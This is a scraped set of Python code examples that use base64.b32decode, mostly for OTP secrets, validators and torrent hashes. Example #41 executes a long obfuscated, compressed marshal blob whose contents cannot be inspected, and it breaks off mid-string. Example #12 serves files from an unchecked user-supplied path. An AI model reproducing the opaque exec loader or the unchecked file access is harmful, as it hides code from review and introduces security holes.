Example #1
0
def b32():
	if sys.argv[2] == 'e':
		print base64.b32encode(sys.argv[3])
	elif sys.argv[2] == 'd':
		print base64.b32decode(sys.argv[3])
	else:
			usage()
Example #2
0
 def test_new_secret(self):
     # secrets should be unique and 20 characters long (base 32)
     secrets = set(new_secret() for i in range(100))
     self.assertEqual(len(secrets), 100)
     for s in secrets:
         self.assertTrue(len(s), 20)
         base64.b32decode(s)
Example #3
0
 def validate(self, value, pos):
     try:
         b32decode(self.fixup(value))
         return QtGui.QValidator.Acceptable
     except:
         if self.partial.match(value):
             return QtGui.QValidator.Intermediate
     return QtGui.QValidator.Invalid
Example #4
0
 def byte_secret(self):
     # In Py3.3+ base64.b64**code take string/bytes but in prior it's
     # always bytes.
     if isinstance(self.secret, str):
         return base64.b32decode(self.secret.encode(), casefold=True)
     elif isinstance(self.secret, bytes):
         return base64.b32decode(self.secret, casefold=True)
     else:
         raise TypeError("Self.secret is neither bytes nor string..")
Example #5
0
 def is_valid(code):
     """
         Check if the secret code is a valid one
     """
     try:
         b32decode(code, casefold=True)
         return True
     except (binascii.Error, ValueError):
         return False
Example #6
0
def input_shared_key():
    while True:
        try:
            shared_key = totp.normalize_secret(getpass.getpass('Shared key: '))
            b32decode(shared_key.upper())
            if shared_key == "":
                raise ValueError('The key entered was empty')
            return shared_key
        except ValueError as err:
            print(*err.args)
Example #7
0
def b32_to_bytes(s, ignore_error=False):
    '''Convert base32 string to bytes'''

    if ignore_error:
        try:
            return base64.b32decode(s.encode())
        except binascii.Error:
            pass
    else:
        return base64.b32decode(s.encode())
Example #8
0
    def clean_secret(self):
        secret = self.cleaned_data["secret"]
        if len(secret) != 16:
            raise forms.ValidationError("Invalid secret")

        try:
            base64.b32decode(secret)
        except:
            raise forms.ValidationError("Invalid secret")

        return secret
Example #9
0
def genKeyLine( code ):
  secret_key = code.replace(' ','').upper()
  if len(secret_key) <= 32:
    key_b32 = secret_key+'='*(32%len(secret_key))
    key = base64.b32decode(key_b32)
  else:
    key_b64 = secret_key+'='*(64%len(secret_key))
    key = base64.b32decode(key_b64)
  key_bytes = map(ord,key)
  lengths.append( len(key_bytes) )
  key_hex = ["0x%02X" % x for x in key_bytes]
  return "{ " + ', '.join(key_hex) + " },"
Example #10
0
def decode_secret(secret):
  try:
    return base64.b32decode(secret, True)
  except:
    pass

  try:
    return base64.b32decode(secret + '=' * (8 - len(secret) % 8), True)
  except:
    pass

  return secret
def from_b32key(b32_key, state=None):
    '''Some phone app directly accept a partial b32 encoding, we try to emulate that'''
    if len(b32_key) % 8 not in (0, 2, 4, 5, 7):
        raise ValueError('invalid base32 value')
    b32_key += '=' * (8 - len(b32_key) % 8)
    b32_key = b32_key.upper()
    try:
        base64.b32decode(b32_key)
    except TypeError:
        raise ValueError('invalid base32 value')
    return GoogleAuthenticator('otpauth://totp/xxx?%s' %
            urllib.urlencode({'secret': b32_key}), state=state)
Example #12
0
def vfsopen(request, file):
    try:
        try:
            file2 = b32decode(file).decode('utf-8')
        except:
            file2 = b32decode(file.encode('utf-8')).decode('utf-8')
        plik = default_storage.fs.open(automount(file2),'rb')
        buf = plik.read()
        plik.close()
    except:
        buf = ''
    return HttpResponse(buf)
Example #13
0
 def test_b32decode(self):
     eq = self.assertEqual
     tests = {b'': b'',
              b'AA======': b'\x00',
              b'ME======': b'a',
              b'MFRA====': b'ab',
              b'MFRGG===': b'abc',
              b'MFRGGZA=': b'abcd',
              b'MFRGGZDF': b'abcde',
              }
     for data, res in tests.items():
         eq(base64.b32decode(data), res)
         eq(base64.b32decode(data.decode('ascii')), res)
Example #14
0
def set(service, key):
    """Accepts a service and a key and saves it out to the keyFile."""
    keys = setup_keys()
    # convert Google Authenticator style space-separated lower-case to upper
    # case without spaces
    key = re.sub('\s','',key.upper())
    try:
        base64.b32decode(key)
    except TypeError:
        click.echo('{} is not a valid key'.format(key))
    else:
        keys[service] = key
        save_keys(keys)
Example #15
0
	def get_key(self,id,enc_key=None):
		""" A convenience method to get a key from the config file.
		If enc_key is provided, the key are decrypted with AES.
		If enc_key is None, use the key provided during the
		initialization of this class. """
		if not enc_key: enc_key=self.key
		kf = None
		if enc_key:
			kf=self.get('Keys:'+id,None)
			if kf: kf=AES.new(enc_key).decrypt(base64.b32decode(kf))
		else:
			kf=self.get('Keys:'+id,None)
			if kf: kf=base64.b32decode(kf)
		return kf
Example #16
0
 def nodecaps(self,firstcap):
   if firstcap[1] == 'o': #Check for read-only or attenuated cap prefix.
     cap1=None            #There is no unattenuated/rw cap for this one
     cap2=firstcap        #We use the function argument as ro/attenuated cap
     key2=base64.b32decode(firstcap[3:]+"====") #Calculate the FEK by decoding the non-prefix part of the ro/attenuated cap.
   else:
     cap1=firstcap        #Use the function parameter as rw/unattenuated cap
     key1=base64.b32decode(firstcap[3:]+"====") #Decode the non-prefix part of the unattenuated cap.
     key2=_macfun(b"read-only::nosalt",key1) #Derive the FEK by hashing a fixed string with cap1 as key.
     cap2="ro-" + base64.b32encode(key2)[:-4].decode("utf-8") #Also encode the FEK into a cap for ro/attenuated access.
   key3=_macfun(self.cloudsecret.encode(),cap2.encode()) #Derive a third key from the attenuated/ro cap
   str3= base64.b32encode(key3)[:-4].decode("utf-8") #Now start off with encoding in base32.
   location = str3[0:3] + "/" + str3[3:6] + "/" + str3[6:] #Create a path for a ballanced directory tree for where to serialize our nodes.
   return (cap1,cap2,location,key2) 
Example #17
0
 def test_compatibility(self):
     # Confirm that the KDF used by the SigningKey constructor doesn't
     # change without suitable backwards-compability
     seed = base64.b32decode('XS27TJRP3JBZKDEFBDKQ====')
     signer = ecdsa.SigningKey(seed)
     v1 = signer.get_verifying_key()
     vs = v1.serialize()
     vs32 = base64.b32encode(vs)
     self.failUnlessEqual(vs32, "ANPNDWJWHQXYSQMD4L36D7WQEGXA42MS5JRUFIWA")
     v2 = ecdsa.VerifyingKey(vs)
     #print base64.b32encode(signer.sign("message"))
     sig32 = "EA3Y7A4T62J3K6MUPJQN3WJ5S4SS53EGZXOSTQW7EQ7OXEMS6QJLYL63BLHMHZD7KFT37KEPJBAKI==="
     sig = base64.b32decode(sig32)
     self.failUnless(v1.verify("message", sig))
     self.failUnless(v2.verify("message", sig))
Example #18
0
 def test_b32decode_error(self):
     tests = [b'abc', b'ABCDEF==', b'==ABCDEF']
     prefixes = [b'M', b'ME', b'MFRA', b'MFRGG', b'MFRGGZA', b'MFRGGZDF']
     for i in range(0, 17):
         if i:
             tests.append(b'='*i)
         for prefix in prefixes:
             if len(prefix) + i != 8:
                 tests.append(prefix + b'='*i)
     for data in tests:
         with self.subTest(data=data):
             with self.assertRaises(binascii.Error):
                 base64.b32decode(data)
             with self.assertRaises(binascii.Error):
                 base64.b32decode(data.decode('ascii'))
Example #19
0
def add_server(server, seed=None):
    """ Append new server to the plugin configuration. """
    if seed:  # Test seed
        if len(seed[0]) == 40:
            unhexlify(seed[0])
            seed = seed[0]
        else:
            b32decode(''.join(seed).replace(" ", ""), True)
            seed = ' '.join(seed)
        weechat.command("", "/secure set %s_seed %s" % (server, seed))

    servers = get_config_as_list("otp_server_names")
    if server not in servers:
        servers.append(server)
        weechat.config_set_plugin("otp_server_names", ','.join(servers))
Example #20
0
    def __smsAuth(self, smsKey=None):
        if smsKey is None:
            smsKey = config.smsKey

        if smsKey is None:
            from getpass import getpass
            smsPin = getpass("SMS PIN: ")
            content = self.__do_page('smsauth', {'smsUserPin': smsPin}).read()

        else:
            smsKey = base64.b32decode(re.sub(r' ', '', smsKey), casefold=True).encode("hex")
            content = self.__oathtoolAuth(smsKey)

            try_count = 1

            while "The code you entered didn&#39;t verify." in content and try_count < 5:
                sleep_seconds = 10
                try_count += 1
                print 'invalid code, retrying after {0} seconds (attempt {1})'.format(sleep_seconds, try_count)
                import time
                time.sleep(sleep_seconds)
                content = self.__oathtoolAuth(smsKey)

        del smsKey

        return content
Example #21
0
    def _get_torrent_hash(self, result):

        if result.url.startswith('magnet'):
            result.hash = re.findall('urn:btih:([\w]{32,40})', result.url)[0]
            if len(result.hash) == 32:
                result.hash = b16encode(b32decode(result.hash)).lower()
        else:
            if not result.content:
                logger.log('Torrent without content', logger.ERROR)
                raise Exception('Torrent without content')

            try:
                torrent_bdecode = bdecode(result.content)
            except BTFailure as e:
                logger.log('Unable to bdecode torrent', logger.ERROR)
                logger.log('Torrent bencoded data: {0}'.format(str(result.content)), logger.DEBUG)
                raise
            try:
                info = torrent_bdecode["info"]
            except Exception as e:
                logger.log('Unable to find info field in torrent', logger.ERROR)
                raise
            result.hash = sha1(bencode(info)).hexdigest()

        return result
Example #22
0
    def _makeURL(self, result):
        urls = []
        filename = u''
        if result.url.startswith('magnet'):
            try:
                torrent_hash = re.findall(r'urn:btih:([\w]{32,40})', result.url)[0].upper()

                try:
                    torrent_name = re.findall('dn=([^&]+)', result.url)[0]
                except Exception:
                    torrent_name = 'NO_DOWNLOAD_NAME'

                if len(torrent_hash) == 32:
                    torrent_hash = b16encode(b32decode(torrent_hash)).upper()

                if not torrent_hash:
                    logger.log(u"Unable to extract torrent hash from magnet: " + ex(result.url), logger.ERROR)
                    return urls, filename

                urls = [x.format(torrent_hash=torrent_hash, torrent_name=torrent_name) for x in self.btCacheURLS]
            except Exception:
                logger.log(u"Unable to extract torrent hash or name from magnet: " + ex(result.url), logger.ERROR)
                return urls, filename
        else:
            urls = [result.url]

        if self.providerType == GenericProvider.TORRENT:
            filename = ek(os.path.join, sickbeard.TORRENT_DIR, sanitize_filename(result.name) + '.' + self.providerType)

        elif self.providerType == GenericProvider.NZB:
            filename = ek(os.path.join, sickbeard.NZB_DIR, sanitize_filename(result.name) + '.' + self.providerType)

        return urls, filename
	def denusumubase32(self):
		
		try:
			import base64
			self.message = base64.b32decode(self.message)
		except:
			print "[-] Base32 encding error"
Example #24
0
def name_to_ipv6(addr):
    if len(addr)>6 and addr.endswith('.onion'):
        vchAddr = b32decode(addr[0:-6], True)
        if len(vchAddr) != 16-len(pchOnionCat):
            raise ValueError('Invalid onion %s' % s)
        return pchOnionCat + vchAddr
    elif '.' in addr: # IPv4
        return pchIPv4 + bytearray((int(x) for x in addr.split('.')))
    elif ':' in addr: # IPv6
        sub = [[], []] # prefix, suffix
        x = 0
        addr = addr.split(':')
        for i,comp in enumerate(addr):
            if comp == '':
                if i == 0 or i == (len(addr)-1): # skip empty component at beginning or end
                    continue
                x += 1 # :: skips to suffix
                assert(x < 2)
            else: # two bytes per component
                val = int(comp, 16)
                sub[x].append(val >> 8)
                sub[x].append(val & 0xff)
        nullbytes = 16 - len(sub[0]) - len(sub[1])
        assert((x == 0 and nullbytes == 0) or (x == 1 and nullbytes > 0))
        return bytearray(sub[0] + ([0] * nullbytes) + sub[1])
    elif addr.startswith('0x'): # IPv4-in-little-endian
        return pchIPv4 + bytearray(reversed(a2b_hex(addr[2:])))
    else:
        raise ValueError('Could not parse address %s' % addr)
Example #25
0
def magnet_to_infohash(magnet):
	import re
	import base64
	m = re.match(r'magnet:\?xt=urn:btih:(.*)', magnet)
	assert m, magnet
	code = m.group(1)
	return base64.b32decode(code)
Example #26
0
def get_hotp(secret, intervals_no, as_string=False):
    """Get HMAC-based one-time password on the basis of given secret and
    interval number.

    Keyword arguments:
    secret          -- the base32-encoded string acting as secret key
    intervals_no    -- interval number used for generating different tokens, it
    is incremented with each use
    as_string       -- True if result should be padded string, False otherwise

    >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=1)
    765705
    >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=2)
    816065
    >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=2, as_string=True)
    '816065'
    """
    try:
        key = base64.b32decode(secret)
    except (TypeError):
        raise TypeError('Incorrect secret')
    msg = struct.pack(">Q", intervals_no)
    hmac_digest = hmac.new(key, msg, hashlib.sha1).digest()
    o = ord(hmac_digest[19]) & 15
    token_base = struct.unpack(">I", hmac_digest[o:o + 4])[0] & 0x7fffffff
    token = token_base % 1000000
    if as_string:
        return '{:06d}'.format(token)
    else:
        return token
Example #27
0
    def _publish(self, announcement):
        self._debug_counts["inbound_message"] += 1
        self.log("introducer: announcement published: %s" % (announcement,) )
        (furl, service_name, ri_name, nickname_utf8, ver, oldest) = announcement
        #print "PUB", service_name, nickname_utf8

        nodeid = b32decode(SturdyRef(furl).tubID.upper())
        index = (service_name, nodeid)

        if index in self._announcements:
            (old_announcement, timestamp) = self._announcements[index]
            if old_announcement == announcement:
                self.log("but we already knew it, ignoring", level=log.NOISY)
                self._debug_counts["inbound_duplicate"] += 1
                return
            else:
                self.log("old announcement being updated", level=log.NOISY)
                self._debug_counts["inbound_update"] += 1
        self._announcements[index] = (announcement, time.time())

        for s in self._subscribers.get(service_name, []):
            self._debug_counts["outbound_message"] += 1
            self._debug_counts["outbound_announcements"] += 1
            self._debug_outstanding += 1
            d = s.callRemote("announce", set([announcement]))
            d.addBoth(self._debug_retired)
            d.addErrback(rrefutil.trap_deadref)
            d.addErrback(log.err,
                         format="subscriber errored on announcement %(ann)s",
                         ann=announcement, facility="tahoe.introducer",
                         level=log.UNUSUAL, umid="jfGMXQ")
Example #28
0
def dump_cap(options):
    from allmydata import uri
    from allmydata.util import base32
    from base64 import b32decode
    import urlparse, urllib

    out = options.stdout
    cap = options.cap
    nodeid = None
    if options['nodeid']:
        nodeid = b32decode(options['nodeid'].upper())
    secret = None
    if options['client-secret']:
        secret = base32.a2b(options['client-secret'])
    elif options['client-dir']:
        secretfile = os.path.join(options['client-dir'], "private", "secret")
        try:
            secret = base32.a2b(open(secretfile, "r").read().strip())
        except EnvironmentError:
            pass

    if cap.startswith("http"):
        scheme, netloc, path, params, query, fragment = urlparse.urlparse(cap)
        assert path.startswith("/uri/")
        cap = urllib.unquote(path[len("/uri/"):])

    u = uri.from_string(cap)

    print >>out
    dump_uri_instance(u, nodeid, secret, out)
Example #29
0
def get_hotp_token(secret, intervals_no):
    key = base64.b32decode(secret, True)
    msg = struct.pack(">Q", intervals_no)
    h = hmac.new(key, msg, hashlib.sha1).digest()
    o = ord(h[19]) & 15
    h = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
    return h
Example #30
0
    def validate_external_mode_cli( cls, args ):
        """
        Assign the given command line arguments to local variables.
        """

        uniformDHSecret = None

        try:
            uniformDHSecret = base64.b32decode(util.sanitiseBase32(
                                     args.uniformDHSecret))
        except (TypeError, AttributeError) as error:
            log.error(error.message)
            raise base.PluggableTransportError("Given password '%s' is not " \
                    "valid Base32!  Run 'generate_password.py' to generate " \
                    "a good password." % args.uniformDHSecret)

        parentalApproval = super(
            ScrambleSuitTransport, cls).validate_external_mode_cli(args)
        if not parentalApproval:
            # XXX not very descriptive nor helpful, but the parent class only
            #     returns a boolean without telling us what's wrong.
            raise base.PluggableTransportError(
                "Pluggable Transport args invalid: %s" % args )

        if uniformDHSecret:
            rawLength = len(uniformDHSecret)
            if rawLength != const.SHARED_SECRET_LENGTH:
                raise base.PluggableTransportError(
                    "The UniformDH password must be %d bytes in length, ",
                    "but %d bytes are given."
                    % (const.SHARED_SECRET_LENGTH, rawLength))
            else:
                cls.uniformDHSecret = uniformDHSecret
Example #31
0
def main():
    print(b32decode(input().encode('utf-8')).decode('utf-8'))
Example #32
0
import zlib, base64
print 'Inpub user name:'
print base64.b64encode(
    zlib.compress(
        base64.b32decode('JVXWG23VOBZUC2LSPQSXG7BQPRBXYOJZHE4TS===') %
        raw_input()))
Example #33
0
def b32(s):
    try:
        return base64.b32decode(s).decode("utf-8")
    except:
        return 0
Example #34
0
    def load_torrent(self, filepath):

        if not filepath.startswith('magnet'):
            logger.info('filepath to torrent file set to : %s' % filepath)

        if self.client._is_authenticated is True:
            logger.info('Checking if Torrent Exists!')

            if filepath.startswith('magnet'):
                torrent_hash = re.findall("urn:btih:([\w]{32,40})", filepath)[0]
                if len(torrent_hash) == 32:
                    torrent_hash = b16encode(b32decode(torrent_hash)).lower()
                hash = torrent_hash.upper()
                logger.debug('Magnet (load_torrent) initiating')
            else:
                hash = self.get_the_hash(filepath)
                logger.debug('FileName (load_torrent): %s' % os.path.basename(filepath))

            logger.debug('Torrent Hash (load_torrent): "%s"' % hash)


            #Check if torrent already added
            if self.find_torrent(hash):
                logger.info('load_torrent: Torrent already exists!')
                return {'status': False, 'error': 'Torrent already exists'}
                #should set something here to denote that it's already loaded, and then the failed download checker not run so it doesn't download
                #multiple copies of the same issues that's already downloaded
            else:
                logger.info('Torrent not added yet, trying to add it now!')

                # Build an arg dict based on user prefs.
                addargs = {}
                if not any([mylar.CONFIG.QBITTORRENT_LABEL is None, mylar.CONFIG.QBITTORRENT_LABEL == '', mylar.CONFIG.QBITTORRENT_LABEL == 'None']):
                    addargs.update( { 'category': str(mylar.CONFIG.QBITTORRENT_LABEL) } )
                    logger.info('Setting download label to: %s' % mylar.CONFIG.QBITTORRENT_LABEL)
                if not any([mylar.CONFIG.QBITTORRENT_FOLDER is None, mylar.CONFIG.QBITTORRENT_FOLDER == '', mylar.CONFIG.QBITTORRENT_FOLDER == 'None']):
                    addargs.update( { 'savepath': str(mylar.CONFIG.QBITTORRENT_FOLDER) } )
                    logger.info('Forcing download location to: %s' % mylar.CONFIG.QBITTORRENT_FOLDER)
                if mylar.CONFIG.QBITTORRENT_LOADACTION == 'pause':
                    addargs.update( { 'paused': 'true' } )
                    logger.info('Attempting to add torrent in paused state')

                if filepath.startswith('magnet'):
                    try:
                        tid = self.client.download_from_link(filepath, **addargs)
                    except Exception as e:
                        logger.error('Torrent not added - %s' % e)
                        return {'status': False, 'error': e}
                    else:
                        logger.debug('Successfully submitted for add as a magnet. Verifying item is now on client.')
                else:
                    try:
                        torrent_content = open(filepath, 'rb')
                        tid = self.client.download_from_file(torrent_content, **addargs)
                    except Exception as e:
                        logger.error('Torrent not added - %s' % e)
                        return {'status': False, 'error': e}
                    else:
                        logger.debug('Successfully submitted for add via file. Verifying item is now on client.')

            if mylar.CONFIG.QBITTORRENT_LOADACTION == 'force_start':
                logger.info('Attempting to force start torrent')
                try:
                    startit = self.client.force_start(hash)
                    logger.info('startit returned: %s' % startit)
                except:
                    logger.warn('Unable to force start torrent - please check your client.')
            else:
                logger.info('Client default add action selected. Doing nothing.')

        try:
            time.sleep(5) # wait 5 in case it's not populated yet.
            tinfo = self.get_torrent(hash)
        except Exception as e:
            logger.warn('Torrent was not added! Please check logs')
            return {'status': False, 'error': e}
        else:
            logger.info('Torrent successfully added!')
            filelist = self.client.get_torrent_files(hash)
            #logger.info(filelist)
            if len(filelist) == 1:
                to_name = filelist[0]['name']
            else:
                to_name = tinfo['save_path']
 
            torrent_info = {'hash':             hash,
                            'files':            filelist,
                            'name':             to_name,
                            'total_filesize':   tinfo['total_size'],
                            'folder':           tinfo['save_path'],
                            'time_started':     tinfo['addition_date'],
                            'label':            mylar.CONFIG.QBITTORRENT_LABEL,
                            'status':           True}

            #logger.info(torrent_info)
            return torrent_info
Example #35
0
def checkChallenge(challenge,pubKey):
    org,encoded=challenge.split(":")
    org=b32decode(org).decode('utf-8')
    encoded=decode(b32decode(encoded),pubKey)
    return org==encoded
Example #36
0
def decode(info):
    return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')
Example #37
0
def b32decode(s):
    return base64.b32decode(s)
Example #38
0
 def key_filter_out_windows(key):
     """
     We need to decode the keys so regex based removal works.
     """
     return base64.b32decode(key)
Example #39
0
 def test_b32decode_error(self):
     for data in [b'abc', b'ABCDEF==', b'==ABCDEF']:
         with self.assertRaises(binascii.Error):
             base64.b32decode(data)
         with self.assertRaises(binascii.Error):
             base64.b32decode(data.decode('ascii'))
Example #40
0
 def encrypt(self, data):
     data = b32encode(data)
     cipher = AES.new(b32decode(self.key), AES.MODE_EAX)
     ciphertext, tag = cipher.encrypt_and_digest(data)
     #pdb.set_trace()
     return cipher.nonce + tag + ciphertext
Example #41
0
#Hai Stah ^_^
#Mau Recode yak? :)
#Mehehehe
#Encrypt By Maestro
#WA 081360479719
import marshal,zlib,base64
exec(marshal.loads(zlib.decompress(base64.b32decode("PCOO3PIJPAONS5I6PKVROAG5IBRV7OIWZAQQTEUDPURTSA3SJCBJXBQEVEDDTGBBIVQQVKACKBAG73FKE2ABSUEWGJ5HVCJMJMRXTRTDJ5DLCFGJOISCWXTCHGYSGO2OCR6V63BLP23D5L2PJI7DT7FC4TSSL7X4TZR7XWLZ6GNXPT5ZJNKXKVZPACERSSRCS7NVLN7OL23456OPXHTZ4O2P7CPTB7P7BT6W77O5CAQTV7NHSACCCN7FWVBG4KXCHJAG4BWEOWINYDEK5MILSGIS25QXEMZMV2V4RTJKOFOU23SWRPVRU4VTIZOEPSGNRC4I5EU3KFYV2S3O23RHLABE5JEDERTOY2ELFXRID3LZHG7VMQTLLB4ERQDLEERF3HPSLCVCDCCCZUZEIHZIUQUUSRBJ45ZSGSIZWTM6BSFOEZAIZEGJAOSMCLGSJWKCN23BABPOVOQLUZBLXHMUUFFDRUMAVJVGH7F62RFPMY37KZFZSW6EEB5OQMMB2ZFZSMMF33ABXXMUDYHRJ2ZLYC2S5C2OWEP2JRI7IOCZKQQPT3DOULLZCD6T3R5YQHWDRO6UJL6HBOK6QDLY2FG7IRTSOMP5DG7QOY75DG4J6YCFTJGXA4QNIDTCPAEMGHQMB7R5GIYYD3C7ASIMPMY6ZQ5QD7BQCDAHGEOME4AYYMIQYRZRDTBXAHGDMNCKPY3TTTUHIVCOCC6Q3G7UCTI5X4PCNGRHPYGFATITX4PCETI3X4HCCTIXPYGFGNCN7CIXU6E34CZPZYIH2N26TQS7UHV4TASPUXV4HBDXIFJPZYJ32GZPFYIH2H26LQSPU7V4XBCPIJ7Q4I6UIP4AC7HRF7JALZOCN6RBXS4EF5A6XSMCF6TBXS4EV5BDPBYY32CH6HRL2RD7CIX6ERHPYWFWTIXX4HCXLIXX4PCQ3IQP4DCXGRA7YSFRTIQP4HC7GRA7Y2FRPCB6QILTPCJ6RIL3PCB6QYL66I72HBPNYJX2GG6HQP6RR7R4KLGRJ7QMLC2EP4FC6NFCH6GRO42ET7AIW6NCT7CAXHPIU7YMEIH2GN4LCQHU2N4LCSHUGN4LCRHUWN4GCET5CIXZNCL6BYXVNCD6DYXRERF7QALUTIS7YSFRJUJP4FCZV2HPYGFQZUM7YWFTXRGICL6TF6JQUUGBMMLMUJPSCKYBSL6XBSDIELFTTISPYHCF7PSLN2XBF7JKGFLMSSQVZGXIJ5DL4TBEKYYPPQBMVHIPQ72PPCSHGTRVGIRWQUP6W5GPGSSURZW36THVJD2CF7WSQDNOF5SQ2TN7SZHCPLDWPKNTCM2DVKM3E3BNSFIJHRX4SKLDEXZSVS3PYR2Z4NHM5MDMRMK5IQEDWPUVJSUYW7GXJ2S4G2N45MQH2U2DRE2NV5NENVVGSSIOJ3EFMN3A3PKINJV3HNUZGRGEQZSBINXNANF5U4LY3FDNYXU63VMMSHK7VD7XDUNVA62OU72GZWWUT5JDCUV5MKTMZ7XBUG7IDPVBUHIZD7TDUN66VDNHKRJT7LC6ZPJDNJP3Q75ANB72I2DINVPHRSWEKG6UJ5XQPR7GAVYYMKWPIK25AYJ2GALS5WUUMDI5CDPAQBI6ENG5COQI7JRM5DL44W4DJ4OR6TG65K7K3HS3GPWZ4IHUBMPKOLI3V2WXKC53M3AEGKG6BEWERJRP3JK7IZ6FJDSLJ3DORAGWCI6CZI6DIBDONJCIHJSZQPXCSQFA54C4RWQJWJA4RZHNEFZC6SBWAJAIGNYUYJNEXSJLNXDANESNJJODWXYJSCXI5DJA5EMKOGPPWSIBSG5TXQBC6HQ2GCCS6I5ZWQZJPGN7MZBRG3FIX7NYIS34BU65AFTMNRLEX2PJERTIASZTMVRVOE7U4UAGPGZXNRWYLJMGPRVRRLTCVBRWQFUOAGSNNZVVSV66E7ITUWFP5DJJAPHDQVELOH4IAHEHWXJ5BROJ3PDWCOHI2UZODHMCAFQ6GEEATB3DUNDUHDUKBQAQ2DT625B45YIXEJ2GMY3JB64M2M5Z5IYK53MXHWVP4UIFSDWDEPFHKIBHTMAPATVG4IIWQDLUXX5YAZKV4NWDQYB5GWMDJ54KC647HVSACL55QPLAIE72EOGYHBGGMSRX23MCAGUZQRDEODPHROOY2V4JQG3GYPM5WMY7K2WWWQGRZVDYEMCE2EFURAYV4LQY2E4EZTWDOBP46RZTUY2CQPKKKRUWMIYKZGBGERBBLB5RU65JSCHMTWYDGC4HFWVTLGSPB6ZAPYDDMDULR2B23XFJEUZTQLCB7QXLBI4LN77AJ7HZSVJ5QY7MKO6BHAROGEAAXCM4WWCG6HR6OWGLEEUGSHA26C536UJIMRXBOSA3JS22IJFQ2Q3EBX3LASLJUR63IZTJQFVBIP6L4HSC37TZD3S7PN7RO4WHT76HX3WP737VJ77MTL346LNV77HWC7UQ7POB4TR4SK2XE5C4NPAEYUFCUVT7SRD2R3GP7XLV7O777IL65P76Y365OPTW762Q7XT75XK7XL353F2QDEJC3GVZADBO3ZIPGSSRUEQ7JX3LN5Q5NT7DAXG73Y3Y6EKSZ3ED7TP6XH5Z775OOVH47ERC2KWKPMUAW6QV4M7Y3WOYX7LTAJ246MSG6YUAJE722ORD6SEI76LYKKGOFO7S54G2OFOYYPQ7DZD6SW37A5GOLZFGOVMVG76IJOFYOL5NZ5HV7BK7M2V4F7FPLZSLCQ6J3S3E2JM3XIHA2OE2DZ6WU54D4MK6544XPZOMRXVTZ4VWVRXYHP4F5OT26XPCOEROUTH2KA5LL2CUL6RCKF2M7NRG4LV7RNB4THNXI2JEXNU5WFHPIL426ZJG5LTPH2O6YT3KSRIWPU55DKIE7VNPQI357PJX7HUSQQQFB76TZTZYSKHDY6BRBCWGG3MAGHTR5ZGXEEQKEHIXHREIEMIX4A2UAQW3HEEUKZUMXSRY7PS7O3ISOL72KTVQS6QR4NX6BVX5G47HCW4M6HS3IRTZ6GRBQLYTLLMBH5QS36ORB3ECACYANI5UMGSMBNVZQLKDMXKINUI5HGBLS4ON5XCAFFWQ3CIRIQDVMDAZ3XYGA4RKNWV47ZISFEV4EYUGSJYIPQYFMVKITYL2QJLMIYIKM4WQDYBLTSN5AINETAV4IJOEPPMEEPSKOBK4LLVKZBZDLFYES5VWBDBXKDGAGVD4C6CD2WQEJUOGLCJDHDQKSLYBVCS6SAAT2WJBLSTZH7VSJLPTET6SCSCH34MYBZN7AUAZCJTCRWWMO5HLHOEF2C3CEIKRAX2BGRTNOYOOTE52UEVSMPCK4JYLAEKHV7YGURSAVAQRN2V4V45J7UCZLOSL4YW4BSOQQTECZDAYYEZGZM2GYCPXENFVERY2KU7F2L2LTKPJJONSJMHST7KSPGRQBSMW6HNZFUMNFWNUNYAK4XS7GBLTJS2U7GDT5FVUO2ECYQ6JFNDPFLURGVMZEPX4MN2RDCNFV4MKSRJKLIMCWWA2HYO2ITZZTHUF7SE2IZFJ6X47GOZH2AYDAOV4NXASYXNFUJUDURRXKSNT4DNF5M7DGBL22RXCAHUTGWKKWLYHW5JCHGY3VIXF2Q4SGYNKFPURIRNQFKCRPC2WF22RQVK5CR4CY6LUNTUNRYHQ3DAMR6HR6HA6GZSUPT7VWK3PGCXTYZ3IA44WLJXP46WR7ZJRW4C53HGOZXHRXFVVSBFSJVUZSACJ6XBCXVUKNIHL7ASWO6YQFGDCLGVEUKEJC5F6PYN3EZFV2VMTHFOJ3FYRLITKOCVDDYINX75ULQ3GCCGWFVJYHSGQHHWEVB2IMAT6XBEBVKI44Z6NMWCH5EHFD3NFVPWBV2SPNJLG5BOJIZYJXUJMNM2X4QAST72IUYIXSIOSQJDBLJDMUMUXEB5AYSKPRT7A2K3VCTEAFFFNUPL6ZCX5YJ6UYCKSAJK2XNBI6UAYRDJJJCAQJ2CFBL2HSUSIQEXFZVBRADZEG2IPBXBBAVGBU4NOJJEGJEEZZTWE7F3RYYREMMFB6RPR2EJPIDDDR5QWYLOGPYAF4BGG53B5QOUMPWGYQEXKHQCSEBIA3I5BKB42N66SQZQG6LBN5XQNGFG357OFWIMKXZB7K44VM34RJJHIVGLXNNIEFA6LGDO2ZY3FOMGHS45IHEF5QFF46WKPKZHJ3S2FKAZSG4ENRHGZXAZFRB45TBNZYKAJ6A4J5FEURHPTHIWQ5ZBRIVH4BTYMWGOEOAEMHAM6NLYRLRIPRKUU6P5UOT6BARGVRBEYZXY6PZT5RMMXTCDAGPYPTD57TMZ33ZHX77SXXA74RJ3V3D23PDSP5Q5OOP45ZI4I2265RT2DOATZ2MMNQUUA4MICTQRCLNFL2GII2HTNBNTSW32K6A6ASY6N6ACO6VVKDGUFVOYLZYTRGWOADA34DAQ4WEPRLUCIBNKCIXVU3QAYFHCKCHYJ4SMETKJEIR46G4QMNP6RUMCDG3F6XWNEK7EPHFBZIKPEMMWLGI34GZ2EX6MVO2DC2BUNBKAW7BNJ5JVCHS7YTENH4GVJKIJJPLKQMV7XSCFVEGI73C3BCWHPKYUIOBXEIW4XIB6N3SQTPEMOPMQWFVUCEZLW6ILDPIVWQUWHNANFV7UY3YHFVVBRXUJVJJ7YWOB753AENXUZRPQ3KSSGHIDHNGSXO62BHU5KM54DJZ2OYXUY3DWWJOID6SRDAGSVMSRQUFGSDNWNJYFGBPNVOTJWYLYIBUXMRVVFBHUOEHRDSABNW53YBQU2GZPD6CFJLZIZI6ZVYTPELFTXSOGRVMV4A5FY5CHXPMEN6L4FGNI3FPEXNRCEBS62QWK5CCEVCGIMGMGMWTKG4UFY6ISKRQYQSPRI4QJHAVG3BDZM57D5PIYF6JPA6TPRHQUARD4KKF6THIB7FF2WE6RPTMKU7EHFAOQLBRI3T3Y6WAN5X52MFA3SAIQKSG3QJCOYPGJBUOYG5O566KRQ6RXPBJUB6FTJBW4IRQX3DVKH35OCUUU7L5FTG6T